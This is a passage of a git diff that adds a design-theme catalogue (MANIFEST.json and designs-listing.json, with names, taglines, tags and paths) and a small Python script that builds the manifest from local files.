"slug": "surf-daybreak", + "source_path": "designs/surf-daybreak.md", + "lines": 76 + }, + { + "name": "Swiss Grid", + "tagline": "Helvetica, a 12-column grid, and a single red.", + "author": "Rofi", + "tags": [ + "minimal", + "sans", + "corporate" + ], + "slug": "swiss-grid", + "source_path": "designs/swiss-grid.md", + "lines": 76 + }, + { + "name": "Tailwind Base", + "tagline": "Safe, shipping-ready, infinitely remixable.", + "author": "Rofi", + "tags": [ + "sans", + "corporate", + "cool" + ], + "slug": "tailwind-base", + "source_path": "designs/tailwind-base.md", + "lines": 76 + }, + { + "name": "Tarot Deck", + "tagline": "Rider-Waite vibes: midnight blue, gilt edges, mystic sigils.", + "author": "Rofi", + "tags": [ + "esoteric", + "dark", + "serif" + ], + "slug": "tarot-deck", + "source_path": "designs/tarot-deck.md", + "lines": 75 + }, + { + "name": "Tattoo Studio", + "tagline": "Tattoo parlor: ink black, stencil blue, flash-sheet red.", + "author": "Rofi", + "tags": [ + "lifestyle", + "dark", + "bold" + ], + "slug": "tattoo-studio", + "source_path": "designs/tattoo-studio.md", + "lines": 75 + }, + { + "name": "Tea House", + "tagline": "Matcha ceremony: rice paper, bamboo green, clay red.", + "author": "Rofi", + "tags": [ + "food", + "soft", + "serif" + ], + "slug": "tea-house", + "source_path": "designs/tea-house.md", + "lines": 75 + }, + { + "name": "Terminal", + "tagline": "Phosphor green on deep black. Fast, loud, honest.", + "author": "Rofi", + "tags": [ + "mono", + "dark", + "technical" + ], + "slug": "terminal", + "source_path": "designs/terminal.md", + "lines": 75 + }, + { + "name": "Terracotta", + "tagline": "Sun-baked clay, ink, and weathered paper.", + "author": "Rofi", + "tags": [ + "warm", + "editorial", + "serif" + ], + "slug": "terracotta", + "source_path": "designs/terracotta.md", + "lines": 75 + }, + { + "name": "Theatre Playbill", + "tagline": "Playbill cream: stage black, curtain red, footlight gold.", + "author": "Rofi", + "tags": [ + "culture", + "bold", + "serif" + ], + "slug": "theatre-playbill", + "source_path": "designs/theatre-playbill.md", + "lines": 76 + }, + { + "name": "Therapy Room", + "tagline": "Mental-health app: clay, breath-blue, hush.", + "author": "Rofi", + "tags": [ + "healthcare", + "soft", + "warm" + ], + "slug": "therapy-room", + "source_path": "designs/therapy-room.md", + "lines": 76 + }, + { + "name": "Tokyo Midnight", + "tagline": "Rain-slick streets, neon reflections, focused.", + "author": "Rofi", + "tags": [ + "dark", + "bold", + "cool" + ], + "slug": "tokyo-midnight", + "source_path": "designs/tokyo-midnight.md", + "lines": 75 + }, + { + "name": "Transit Map", + "tagline": "Tokyo metro: primary colored lines, precise signage.", + "author": "Rofi", + "tags": [ + "travel", + "bold", + "sans" + ], + "slug": "transit-map", + "source_path": "designs/transit-map.md", + "lines": 76 + }, + { + "name": "Typewriter", + "tagline": "Ribbon black on manila, nothing else.", + "author": "Rofi", + "tags": [ + "editorial", + "mono", + "warm" + ], + "slug": "typewriter", + "source_path": "designs/typewriter.md", + "lines": 75 + }, + { + "name": "Vercel Ink", + "tagline": "Surgical black, surgical white, sharp geometry.", + "author": "Rofi", + "tags": [ + "minimal", + "sans", + "dark" + ], + "slug": "vercel-ink", + "source_path": "designs/vercel-ink.md", + "lines": 76 + }, + { + "name": "Wealth Noir", + "tagline": "Private-banking black, champagne letterforms.", + "author": "Rofi", + "tags": [ + "finance", + "dark", + "serif" + ], + "slug": "wealth-noir", + "source_path": "designs/wealth-noir.md", + "lines": 75 + }, + { + "name": "Weather Stratus", + "tagline": "Forecast app: stratus grey, rain blue, storm amber.", + "author": "Rofi", + "tags": [ + "weather", + "cool", + "minimal" + ], + "slug": "weather-stratus", + "source_path": "designs/weather-stratus.md", + "lines": 76 + }, + { + "name": "Wellness Coral", + "tagline": "Sunrise coral, cotton grey, breathwork pastels.", + "author": "Rofi", + "tags": [ + "healthcare", + "warm", + "soft" + ], + "slug": "wellness-coral", + "source_path": "designs/wellness-coral.md", + "lines": 75 + }, + { + "name": "Whisky Peat", + "tagline": "Peated scotch: smoke black, barrel oak, burnt orange.", + "author": "Rofi", + "tags": [ + "food", + "dark", + "serif" + ], + "slug": "whisky-peat", + "source_path": "designs/whisky-peat.md", + "lines": 76 + }, + { + "name": "Wine Country", + "tagline": "Bordeaux, cream, long golden afternoons.", + "author": "Rofi", + "tags": [ + "warm", + "serif", + "editorial" + ], + "slug": "wine-country", + "source_path": "designs/wine-country.md", + "lines": 75 + }, + { + "name": "Y2K Chrome", + "tagline": "Frutiger Aero meets the CD-ROM menu.", + "author": "Rofi", + "tags": [ + "playful", + "bold", + "cool" + ], + "slug": "y2k-chrome", + "source_path": "designs/y2k-chrome.md", + "lines": 75 + }, + { + "name": "Yacht Club", + "tagline": "Regatta: navy, rope cream, signal flag red.", + "author": "Rofi", + "tags": [ + "hospitality", + "warm", + "serif" + ], + "slug": "yacht-club", + "source_path": "designs/yacht-club.md", + "lines": 76 + }, + { + "name": "Zed Dev", + "tagline": "Editor-dark, warmer than pitch, glyph-sharp.", + "author": "Rofi", + "tags": [ + "technical", + "dark", + "mono" + ], + "slug": "zed-dev", + "source_path": "designs/zed-dev.md", + "lines": 74 + }, + { + "name": "Zine Risograph", + "tagline": "Riso-printed zines: fluoro pink on pulp paper.", + "author": "Rofi", + "tags": [ + "editorial", + "playful", + "bold" + ], + "slug": "zine-risograph", + "source_path": "designs/zine-risograph.md", + "lines": 75 + } + ] +} diff --git a/imported-skills/designdotmd/build_manifest.py b/imported-skills/designdotmd/build_manifest.py new file mode 100644 index 0000000000000000000000000000000000000000..fd04b0f58ad35f74a84750f68a7c5bd9a5e703c4 --- /dev/null +++ b/imported-skills/designdotmd/build_manifest.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +"""Generate MANIFEST.json for the imported designdotmd.directory set. + +Each entry pairs a markdown file under ``designs/.md`` (fetched +directly from the upstream API) with the listing-API metadata +(``id``, ``name``, ``author``, ``tags``, ``tagline``). +""" + +from __future__ import annotations + +import datetime +import json +from pathlib import Path + +ROOT = Path(__file__).parent +DESIGNS_DIR = ROOT / "designs" +LISTING_PATH = ROOT / "designs-listing.json" +UPSTREAM = "https://designdotmd.directory" +UPSTREAM_API = f"{UPSTREAM}/api/designs" + + +def build() -> dict: + listing = json.loads(LISTING_PATH.read_text(encoding="utf-8")) + entries: list[dict] = [] + for d in listing: + slug = d["id"] + md_path = DESIGNS_DIR / f"{slug}.md" + if not md_path.is_file(): + continue + text = md_path.read_text(encoding="utf-8") + entries.append({ + "name": d.get("name") or slug, + "tagline": d.get("tagline", "").strip(), + "author": d.get("author", "").strip(), + "tags": [str(t).strip().lower() for t in d.get("tags", []) if str(t).strip()], + "slug": slug, + "source_path": (md_path.relative_to(ROOT)).as_posix(), + "lines": len(text.splitlines()), + }) + entries.sort(key=lambda e: e["slug"]) + return { + "upstream": UPSTREAM, + "upstream_api": UPSTREAM_API, + "fetched_on": datetime.date.today().isoformat(), + "license": "unknown (see ATTRIBUTION.md)", + "namespace": "designdotmd", + "total": len(entries), + "entries": entries, + } + + +def main() -> None: + manifest = build() + out = ROOT / "MANIFEST.json" + out.write_text(json.dumps(manifest, indent=2) + "\n", encoding="utf-8") + print(f"Manifest written: {manifest['total']} designs") + + +if __name__ == "__main__": + main() diff --git a/imported-skills/designdotmd/designs-listing.json b/imported-skills/designdotmd/designs-listing.json new file mode 100644 index 0000000000000000000000000000000000000000..6c39235f8364cd47ba4dad115570e2d6f5d9e37a --- /dev/null +++ b/imported-skills/designdotmd/designs-listing.json @@ -0,0 +1,1718 @@ +[ + { + "id": "heritage", + "name": "Heritage", + "author": "Rofi", + "tags": [ + "Editorial", + "Serif", + "Warm" + ], + "tagline": "Architectural minimalism meets journalistic gravitas." + }, + { + "id": "brutalist-office", + "name": "Brutalist Office", + "author": "Rofi", + "tags": [ + "Brutalist", + "Mono", + "High-contrast" + ], + "tagline": "Concrete, grids, and a single warning-yellow." + }, + { + "id": "terracotta", + "name": "Terracotta", + "author": "Rofi", + "tags": [ + "Warm", + "Editorial", + "Serif" + ], + "tagline": "Sun-baked clay, ink, and weathered paper." + }, + { + "id": "glassline", + "name": "Glassline", + "author": "Rofi", + "tags": [ + "Minimal", + "Sans", + "Cool" + ], + "tagline": "Fog-grey neutrals with a cobalt pinprick." + }, + { + "id": "risograph", + "name": "Risograph", + "author": "Rofi", + "tags": [ + "Playful", + "Print", + "Bold" + ], + "tagline": "Misregistered, grainy, joyful." + }, + { + "id": "forest-floor", + "name": "Forest Floor", + "author": "Rofi", + "tags": [ + "Organic", + "Warm", + "Serif" + ], + "tagline": "Moss, bark, and a ribbon of copper." + }, + { + "id": "terminal", + "name": "Terminal", + "author": "Rofi", + "tags": [ + "Mono", + "Dark", + "Technical" + ], + "tagline": "Phosphor green on deep black. Fast, loud, honest." + }, + { + "id": "sunset-magazine", + "name": "Sunset Magazine", + "author": "Rofi", + "tags": [ + "Editorial", + "Warm", + "Gradient-free" + ], + "tagline": "Dusk over the pacific \u2014 peach, plum, bone." + }, + { + "id": "ocean-depth", + "name": "Ocean Depth", + "author": "Rofi", + "tags": [ + "Cool", + "Dark", + "Sans" + ], + "tagline": "Midnight blue foundation with a teal pulse." + }, + { + "id": "pastel-candy", + "name": "Pastel Candy", + "author": "Rofi", + "tags": [ + "Playful", + "Soft", + "Sans" + ], + "tagline": "Marshmallow pink, mint, butter." + }, + { + "id": "swiss-grid", + "name": "Swiss Grid", + "author": "Rofi", + "tags": [ + "Minimal", + "Sans", + "Corporate" + ], + "tagline": "Helvetica, a 12-column grid, and a single red." + }, + { + "id": "neon-arcade", + "name": "Neon Arcade", + "author": "Rofi", + "tags": [ + "Dark", + "Playful", + "Mono" + ], + "tagline": "Synthwave violet and hot magenta." + }, + { + "id": "linen", + "name": "Linen", + "author": "Rofi", + "tags": [ + "Soft", + "Serif", + "Warm" + ], + "tagline": "Hand-woven textures, tea stains, slow." + }, + { + "id": "graphite", + "name": "Graphite", + "author": "Rofi", + "tags": [ + "Dark", + "Sans", + "Technical" + ], + "tagline": "Cool greys, one lime signal." + }, + { + "id": "bauhaus", + "name": "Bauhaus", + "author": "Rofi", + "tags": [ + "Bold", + "Primary", + "Geometric" + ], + "tagline": "Primary red, primary yellow, primary blue." + }, + { + "id": "matcha", + "name": "Matcha", + "author": "Rofi", + "tags": [ + "Organic", + "Sans", + "Calm" + ], + "tagline": "Soft green, bamboo, steam." + }, + { + "id": "paper-white", + "name": "Paper White", + "author": "Rofi", + "tags": [ + "Minimal", + "Serif", + "Reading" + ], + "tagline": "The e-reader palette: ink, cream, nothing else." + }, + { + "id": "tailwind-base", + "name": "Tailwind Base", + "author": "Rofi", + "tags": [ + "Sans", + "Corporate", + "Cool" + ], + "tagline": "Safe, shipping-ready, infinitely remixable." + }, + { + "id": "vercel-ink", + "name": "Vercel Ink", + "author": "Rofi", + "tags": [ + "Minimal", + "Sans", + "Dark" + ], + "tagline": "Surgical black, surgical white, sharp geometry." + }, + { + "id": "notion-beige", + "name": "Notion Beige", + "author": "Rofi", + "tags": [ + "Minimal", + "Warm", + "Sans" + ], + "tagline": "Workspace-calm: warm beige, soft ink, lots of breathing." + }, + { + "id": "stripe-gradient", + "name": "Stripe Gradient", + "author": "Rofi", + "tags": [ + "Corporate", + "Sans", + "Cool" + ], + "tagline": "Deep navy, sky, a whisper of violet." + }, + { + "id": "y2k-chrome", + "name": "Y2K Chrome", + "author": "Rofi", + "tags": [ + "Playful", + "Bold", + "Cool" + ], + "tagline": "Frutiger Aero meets the CD-ROM menu." + }, + { + "id": "desert-rose", + "name": "Desert Rose", + "author": "Rofi", + "tags": [ + "Warm", + "Serif", + "Soft" + ], + "tagline": "Sandstone, dusty rose, sunburnt ink." + }, + { + "id": "arctic", + "name": "Arctic", + "author": "Rofi", + "tags": [ + "Cool", + "Minimal", + "Sans" + ], + "tagline": "Glacier white, ice blue, breath of steam." + }, + { + "id": "typewriter", + "name": "Typewriter", + "author": "Rofi", + "tags": [ + "Editorial", + "Mono", + "Warm" + ], + "tagline": "Ribbon black on manila, nothing else." + }, + { + "id": "cobalt-product", + "name": "Cobalt Product", + "author": "Rofi", + "tags": [ + "Sans", + "Cool", + "Corporate" + ], + "tagline": "A shippable SaaS palette with spine." + }, + { + "id": "botanical", + "name": "Botanical", + "author": "Rofi", + "tags": [ + "Organic", + "Serif", + "Warm" + ], + "tagline": "Pressed leaves, tea-stained paper, a copper ink." + }, + { + "id": "gallery-white", + "name": "Gallery White", + "author": "Rofi", + "tags": [ + "Minimal", + "Serif", + "Warm" + ], + "tagline": "Contemporary gallery: nothing on the walls but art." + }, + { + "id": "obsidian", + "name": "Obsidian", + "author": "Rofi", + "tags": [ + "Dark", + "Mono", + "Technical" + ], + "tagline": "Volcanic glass, phosphor purple, edge." + }, + { + "id": "tokyo-midnight", + "name": "Tokyo Midnight", + "author": "Rofi", + "tags": [ + "Dark", + "Bold", + "Cool" + ], + "tagline": "Rain-slick streets, neon reflections, focused." + }, + { + "id": "concrete-lemon", + "name": "Concrete Lemon", + "author": "Rofi", + "tags": [ + "Brutalist", + "Bold", + "Sans" + ], + "tagline": "Raw concrete, structural grid, lemon accent." + }, + { + "id": "candy-shop", + "name": "Candy Shop", + "author": "Rofi", + "tags": [ + "Playful", + "Bold", + "Warm" + ], + "tagline": "Bubble gum, cherry red, sugar rush." + }, + { + "id": "clinical", + "name": "Clinical", + "author": "Rofi", + "tags": [ + "Minimal", + "Sans", + "Cool" + ], + "tagline": "Hospital-grade legibility, but warm." + }, + { + "id": "wine-country", + "name": "Wine Country", + "author": "Rofi", + "tags": [ + "Warm", + "Serif", + "Editorial" + ], + "tagline": "Bordeaux, cream, long golden afternoons." + }, + { + "id": "cyberpunk-city", + "name": "Cyberpunk City", + "author": "Rofi", + "tags": [ + "Dark", + "Playful", + "Bold" + ], + "tagline": "Neon signage, acid yellow, deep violet." + }, + { + "id": "kraft-paper", + "name": "Kraft Paper", + "author": "Rofi", + "tags": [ + "Warm", + "Organic", + "Sans" + ], + "tagline": "Brown paper, stamp ink, handmade feel." + }, + { + "id": "aqua-mint", + "name": "Aqua Mint", + "author": "Rofi", + "tags": [ + "Soft", + "Cool", + "Sans" + ], + "tagline": "Seaglass, mint, chilled glass surfaces." + }, + { + "id": "old-money", + "name": "Old Money", + "author": "Rofi", + "tags": [ + "Serif", + "Warm", + "Editorial" + ], + "tagline": "Hunter green, gold leaf, embossed cream." + }, + { + "id": "mint-receipt", + "name": "Mint Receipt", + "author": "Rofi", + "tags": [ + "Mono", + "Warm", + "Minimal" + ], + "tagline": "Thermal paper, mint stripe, tidy numbers." + }, + { + "id": "arcade-neon-pop", + "name": "Arcade Neon Pop", + "author": "Rofi", + "tags": [ + "Gameplay", + "Playful", + "Bold" + ], + "tagline": "Chunky buttons, rainbow XP bars, candy physics." + }, + { + "id": "pixel-quest", + "name": "Pixel Quest", + "author": "Rofi", + "tags": [ + "Gameplay", + "Retro", + "Mono" + ], + "tagline": "8-bit health bars and CRT ink." + }, + { + "id": "candy-tap", + "name": "Candy Tap", + "author": "Rofi", + "tags": [ + "Gameplay", + "Playful", + "Soft" + ], + "tagline": "Soft gradients, chewy taps, confetti everywhere." + }, + { + "id": "dungeon-crawl", + "name": "Dungeon Crawl", + "author": "Rofi", + "tags": [ + "Gameplay", + "Dark", + "Serif" + ], + "tagline": "Torchlight, parchment, dice rolls in the dark." + }, + { + "id": "sports-hud", + "name": "Sports HUD", + "author": "Rofi", + "tags": [ + "Gameplay", + "Bold", + "Technical" + ], + "tagline": "Stadium energy. Angled badges, neon scoreline." + }, + { + "id": "zed-dev", + "name": "Zed Dev", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Mono" + ], + "tagline": "Editor-dark, warmer than pitch, glyph-sharp." + }, + { + "id": "devops-graphite", + "name": "DevOps Graphite", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Sans" + ], + "tagline": "Prod-green, staging-amber, build-pipeline blue." + }, + { + "id": "ai-labs", + "name": "AI Labs", + "author": "Rofi", + "tags": [ + "Technical", + "Minimal", + "Sans" + ], + "tagline": "Research-paper white, terminal-green prompts." + }, + { + "id": "cyber-matrix", + "name": "Cyber Matrix", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Bold" + ], + "tagline": "Cyberpunk neon grid meets operator terminal." + }, + { + "id": "defi-chrome", + "name": "DeFi Chrome", + "author": "Rofi", + "tags": [ + "Finance", + "Dark", + "Bold" + ], + "tagline": "Trading-floor neon: emerald gains, bloody losses." + }, + { + "id": "neobank-mint", + "name": "Neobank Mint", + "author": "Rofi", + "tags": [ + "Finance", + "Minimal", + "Cool" + ], + "tagline": "Fresh mint, generous gutters, calm money." + }, + { + "id": "wealth-noir", + "name": "Wealth Noir", + "author": "Rofi", + "tags": [ + "Finance", + "Dark", + "Serif" + ], + "tagline": "Private-banking black, champagne letterforms." + }, + { + "id": "clinic-sage", + "name": "Clinic Sage", + "author": "Rofi", + "tags": [ + "Healthcare", + "Calm", + "Minimal" + ], + "tagline": "Clinical calm. Sage greens, paper white, zero alarm." + }, + { + "id": "wellness-coral", + "name": "Wellness Coral", + "author": "Rofi", + "tags": [ + "Healthcare", + "Warm", + "Soft" + ], + "tagline": "Sunrise coral, cotton grey, breathwork pastels." + }, + { + "id": "broadsheet-01", + "name": "Broadsheet 01", + "author": "Rofi", + "tags": [ + "News", + "Editorial", + "Serif" + ], + "tagline": "Newsprint ink, column rules, masthead gravitas." + }, + { + "id": "magazine-rouge", + "name": "Magazine Rouge", + "author": "Rofi", + "tags": [ + "News", + "Bold", + "Serif" + ], + "tagline": "Fashion-magazine red, ivory spreads, giant display." + }, + { + "id": "dispatch-mono", + "name": "Dispatch Mono", + "author": "Rofi", + "tags": [ + "News", + "Mono", + "Technical" + ], + "tagline": "Independent-press monospace. Bulletin-board energy." + }, + { + "id": "atelier-noir", + "name": "Atelier Noir", + "author": "Rofi", + "tags": [ + "Fashion", + "Minimal", + "Serif" + ], + "tagline": "Fashion-week black, silk ivory, thin everything." + }, + { + "id": "streetwear-block", + "name": "Streetwear Block", + "author": "Rofi", + "tags": [ + "Fashion", + "Bold", + "Sans" + ], + "tagline": "Supreme-energy: box logo, off-white, siren red." + }, + { + "id": "record-sleeve", + "name": "Record Sleeve", + "author": "Rofi", + "tags": [ + "Music", + "Warm", + "Serif" + ], + "tagline": "1970s gatefold: ochre, umber, liner notes in serif." + }, + { + "id": "rave-poster", + "name": "Rave Poster", + "author": "Rofi", + "tags": [ + "Music", + "Bold", + "Playful" + ], + "tagline": "Warehouse flyer: acid yellow, smudge ink, 4am energy." + }, + { + "id": "hotel-riviera", + "name": "Hotel Riviera", + "author": "Rofi", + "tags": [ + "Hospitality", + "Warm", + "Serif" + ], + "tagline": "C\u00f4te d'Azur: sea-wash blue, sun-bleached sand, soft gold." + }, + { + "id": "transit-map", + "name": "Transit Map", + "author": "Rofi", + "tags": [ + "Travel", + "Bold", + "Sans" + ], + "tagline": "Tokyo metro: primary colored lines, precise signage." + }, + { + "id": "natural-wine", + "name": "Natural Wine", + "author": "Rofi", + "tags": [ + "Food", + "Warm", + "Organic" + ], + "tagline": "P\u00e9t-nat: fresh lees, paper labels, soft burgundy." + }, + { + "id": "coffee-roast", + "name": "Coffee Roast", + "author": "Rofi", + "tags": [ + "Food", + "Warm", + "Sans" + ], + "tagline": "Third-wave roaster: espresso brown, kraft paper, latte." + }, + { + "id": "classroom-paper", + "name": "Classroom Paper", + "author": "Rofi", + "tags": [ + "Education", + "Warm", + "Serif" + ], + "tagline": "Composition notebook, red-line margin, graphite." + }, + { + "id": "kids-crayon", + "name": "Kids Crayon", + "author": "Rofi", + "tags": [ + "Kids", + "Playful", + "Bold" + ], + "tagline": "Crayon-bright: primary colors, chunky radii, silly big type." + }, + { + "id": "social-dusk", + "name": "Social Dusk", + "author": "Rofi", + "tags": [ + "Social", + "Dark", + "Soft" + ], + "tagline": "Late-night feed: indigo dusk, lilac strokes, amber taps." + }, + { + "id": "field-notes", + "name": "Field Notes", + "author": "Rofi", + "tags": [ + "Nature", + "Organic", + "Serif" + ], + "tagline": "Botanist's notebook: moss, bark, pressed leaves." + }, + { + "id": "architect-blueprint", + "name": "Architect Blueprint", + "author": "Rofi", + "tags": [ + "Architecture", + "Minimal", + "Technical" + ], + "tagline": "Drafting-table blue, tracing paper, pencil-line grid." + }, + { + "id": "ev-silver", + "name": "EV Silver", + "author": "Rofi", + "tags": [ + "Automotive", + "Minimal", + "Cool" + ], + "tagline": "Electric-vehicle showroom: liquid silver, voltage blue." + }, + { + "id": "battle-royale", + "name": "Battle Royale", + "author": "Rofi", + "tags": [ + "Gameplay", + "Dark", + "Bold" + ], + "tagline": "Drop-in HUD: blood-orange alerts, squad chevrons." + }, + { + "id": "farmsim-harvest", + "name": "Farmsim Harvest", + "author": "Rofi", + "tags": [ + "Gameplay", + "Warm", + "Playful" + ], + "tagline": "Cozy farm sim: golden wheat, rosy blush, soft sky." + }, + { + "id": "roblox-bubble", + "name": "Roblox Bubble", + "author": "Rofi", + "tags": [ + "Gameplay", + "Playful", + "Bold" + ], + "tagline": "Kid-MMO energy: chunky 3D buttons, primary bubbles." + }, + { + "id": "speedrun-clock", + "name": "Speedrun Clock", + "author": "Rofi", + "tags": [ + "Gameplay", + "Mono", + "Dark" + ], + "tagline": "Split timer aesthetic: green splits, red losses, mono forever." + }, + { + "id": "quantum-lab", + "name": "Quantum Lab", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Cool" + ], + "tagline": "Physics-lab dark: cold plasma blue, superfluid teal." + }, + { + "id": "space-mission", + "name": "Space Mission", + "author": "Rofi", + "tags": [ + "Technical", + "Dark", + "Mono" + ], + "tagline": "Mission-control amber on black. Telemetry forever." + }, + { + "id": "robotics-lab", + "name": "Robotics Lab", + "author": "Rofi", + "tags": [ + "Technical", + "Minimal", + "Sans" + ], + "tagline": "Lab-bench white, safety-orange kill switch." + }, + { + "id": "iot-home", + "name": "IoT Home", + "author": "Rofi", + "tags": [ + "Technical", + "Soft", + "Cool" + ], + "tagline": "Smart-home dashboard: warm dark, peach glow, cool teal." + }, + { + "id": "exchange-tick", + "name": "Exchange Tick", + "author": "Rofi", + "tags": [ + "Finance", + "Dark", + "Mono" + ], + "tagline": "Order book green/red. Zero ornament. Every tick earns." + }, + { + "id": "payday-punch", + "name": "Payday Punch", + "author": "Rofi", + "tags": [ + "Finance", + "Playful", + "Bold" + ], + "tagline": "Gen-Z wallet: lime, bubble, confetti payouts." + }, + { + "id": "pharma-clean", + "name": "Pharma Clean", + "author": "Rofi", + "tags": [ + "Healthcare", + "Minimal", + "Cool" + ], + "tagline": "Hospital-white, FDA-blue, sterile hairlines." + }, + { + "id": "therapy-room", + "name": "Therapy Room", + "author": "Rofi", + "tags": [ + "Healthcare", + "Soft", + "Warm" + ], + "tagline": "Mental-health app: clay, breath-blue, hush." + }, + { + "id": "zine-risograph", + "name": "Zine Risograph", + "author": "Rofi", + "tags": [ + "Editorial", + "Playful", + "Bold" + ], + "tagline": "Riso-printed zines: fluoro pink on pulp paper." + }, + { + "id": "newsletter-sunday", + "name": "Newsletter Sunday", + "author": "Rofi", + "tags": [ + "News", + "Warm", + "Serif" + ], + "tagline": "Long-form Sunday edition: linen paper, reading serif." + }, + { + "id": "gallery-avant", + "name": "Gallery Avant", + "author": "Rofi", + "tags": [ + "Fashion", + "Minimal", + "Serif" + ], + "tagline": "Contemporary-art gallery: white cube, tight caps." + }, + { + "id": "denim-workwear", + "name": "Denim Workwear", + "author": "Rofi", + "tags": [ + "Fashion", + "Warm", + "Bold" + ], + "tagline": "Heritage workwear: selvedge indigo, rivet copper." + }, + { + "id": "jazz-club", + "name": "Jazz Club", + "author": "Rofi", + "tags": [ + "Music", + "Dark", + "Serif" + ], + "tagline": "Blue Note vibe: ink blue, cream, trumpet gold." + }, + { + "id": "festival-fluoro", + "name": "Festival Fluoro", + "author": "Rofi", + "tags": [ + "Music", + "Playful", + "Bold" + ], + "tagline": "Open-air festival: sunset magenta, lime wash, neon type." + }, + { + "id": "yacht-club", + "name": "Yacht Club", + "author": "Rofi", + "tags": [ + "Hospitality", + "Warm", + "Serif" + ], + "tagline": "Regatta: navy, rope cream, signal flag red." + }, + { + "id": "airline-altitude", + "name": "Airline Altitude", + "author": "Rofi", + "tags": [ + "Travel", + "Minimal", + "Cool" + ], + "tagline": "Boarding-pass minimal: sky grey, contrail teal." + }, + { + "id": "street-food", + "name": "Street Food", + "author": "Rofi", + "tags": [ + "Food", + "Bold", + "Playful" + ], + "tagline": "Night-market neon on butcher paper." + }, + { + "id": "bakery-flour", + "name": "Bakery Flour", + "author": "Rofi", + "tags": [ + "Food", + "Warm", + "Soft" + ], + "tagline": "Artisan bakery: flour dust, rye, sourdough crust." + }, + { + "id": "campus-collegiate", + "name": "Campus Collegiate", + "author": "Rofi", + "tags": [ + "Education", + "Bold", + "Serif" + ], + "tagline": "Ivy-league collegiate: maroon, oatmeal, crest gold." + }, + { + "id": "chat-app-plum", + "name": "Chat App Plum", + "author": "Rofi", + "tags": [ + "Social", + "Soft", + "Playful" + ], + "tagline": "Messaging: plum bubbles, chat-pop, read receipts." + }, + { + "id": "forum-usenet", + "name": "Forum Usenet", + "author": "Rofi", + "tags": [ + "Social", + "Mono", + "Technical" + ], + "tagline": "BBS nostalgia: teletype ink, PhpBB gridlines." + }, + { + "id": "forest-trail", + "name": "Forest Trail", + "author": "Rofi", + "tags": [ + "Nature", + "Organic", + "Sans" + ], + "tagline": "Trail-map forest: moss green, bark brown, trail red." + }, + { + "id": "realty-open-house", + "name": "Realty Open House", + "author": "Rofi", + "tags": [ + "Architecture", + "Warm", + "Serif" + ], + "tagline": "Open-house listing: linen warm, brass accents." + }, + { + "id": "motorsport-livery", + "name": "Motorsport Livery", + "author": "Rofi", + "tags": [ + "Automotive", + "Bold", + "Technical" + ], + "tagline": "F1 livery: carbon black, racing red, pit-lane yellow." + }, + { + "id": "portfolio-studio", + "name": "Portfolio Studio", + "author": "Rofi", + "tags": [ + "Portfolio", + "Minimal", + "Serif" + ], + "tagline": "Designer portfolio: off-white, ink, one deliberate accent." + }, + { + "id": "crypto-violet", + "name": "Crypto Violet", + "author": "Rofi", + "tags": [ + "Finance", + "Dark", + "Bold" + ], + "tagline": "Web3 violet: holo gradients, mono addresses." + }, + { + "id": "criterion-letterbox", + "name": "Criterion Letterbox", + "author": "Rofi", + "tags": [ + "Cinema", + "Editorial", + "Serif" + ], + "tagline": "Arthouse film label: cream sleeve, spine red, 4:3 crops." + }, + { + "id": "indie-festival", + "name": "Indie Festival", + "author": "Rofi", + "tags": [ + "Cinema", + "Bold", + "Mono" + ], + "tagline": "Film-festival grid: mono schedule, spotlight orange." + }, + { + "id": "podcast-studio", + "name": "Podcast Studio", + "author": "Rofi", + "tags": [ + "Audio", + "Warm", + "Serif" + ], + "tagline": "Late-night show: mic amber, felt maroon, velvet curtain." + }, + { + "id": "daw-waveform", + "name": "DAW Waveform", + "author": "Rofi", + "tags": [ + "Audio", + "Dark", + "Technical" + ], + "tagline": "Audio-production UI: waveform teal, signal red, rack black." + }, + { + "id": "museum-plaque", + "name": "Museum Plaque", + "author": "Rofi", + "tags": [ + "Museum", + "Minimal", + "Serif" + ], + "tagline": "Museum-wall white: didone, hairline rules, placard caps." + }, + { + "id": "civic-register", + "name": "Civic Register", + "author": "Rofi", + "tags": [ + "Government", + "Minimal", + "Serif" + ], + "tagline": "Civic site: gov navy, paper beige, official serif." + }, + { + "id": "climate-atlas", + "name": "Climate Atlas", + "author": "Rofi", + "tags": [ + "Climate", + "Organic", + "Sans" + ], + "tagline": "Climate data: chart green, heatmap amber, atlas paper." + }, + { + "id": "solarpunk", + "name": "Solarpunk", + "author": "Rofi", + "tags": [ + "Climate", + "Playful", + "Organic" + ], + "tagline": "Optimistic eco: plant green, sun yellow, soft terracotta." + }, + { + "id": "dating-blush", + "name": "Dating Blush", + "author": "Rofi", + "tags": [ + "Dating", + "Warm", + "Playful" + ], + "tagline": "Dating app: blush cream, lipstick red, flirty serif." + }, + { + "id": "tarot-deck", + "name": "Tarot Deck", + "author": "Rofi", + "tags": [ + "Esoteric", + "Dark", + "Serif" + ], + "tagline": "Rider-Waite vibes: midnight blue, gilt edges, mystic sigils." + }, + { + "id": "meditation-zen", + "name": "Meditation Zen", + "author": "Rofi", + "tags": [ + "Wellness", + "Soft", + "Serif" + ], + "tagline": "Sitting practice: bone paper, breath blue, ink brush." + }, + { + "id": "skincare-matte", + "name": "Skincare Matte", + "author": "Rofi", + "tags": [ + "Beauty", + "Minimal", + "Soft" + ], + "tagline": "Matte bottle minimal: oat, stone grey, graphite label." + }, + { + "id": "botanical-apothecary", + "name": "Botanical Apothecary", + "author": "Rofi", + "tags": [ + "Beauty", + "Organic", + "Serif" + ], + "tagline": "Herb apothecary: amber bottle, linen label, eucalyptus." + }, + { + "id": "whisky-peat", + "name": "Whisky Peat", + "author": "Rofi", + "tags": [ + "Food", + "Dark", + "Serif" + ], + "tagline": "Peated scotch: smoke black, barrel oak, burnt orange." + }, + { + "id": "ceramics-kiln", + "name": "Ceramics Kiln", + "author": "Rofi", + "tags": [ + "Craft", + "Warm", + "Serif" + ], + "tagline": "Wood-fired ceramics: clay beige, ash grey, iron glaze." + }, + { + "id": "film-photography", + "name": "Film Photography", + "author": "Rofi", + "tags": [ + "Photography", + "Warm", + "Mono" + ], + "tagline": "35mm grain: gelatin silver, kodak yellow, frame number." + }, + { + "id": "weather-stratus", + "name": "Weather Stratus", + "author": "Rofi", + "tags": [ + "Weather", + "Cool", + "Minimal" + ], + "tagline": "Forecast app: stratus grey, rain blue, storm amber." + }, + { + "id": "gym-kettlebell", + "name": "Gym Kettlebell", + "author": 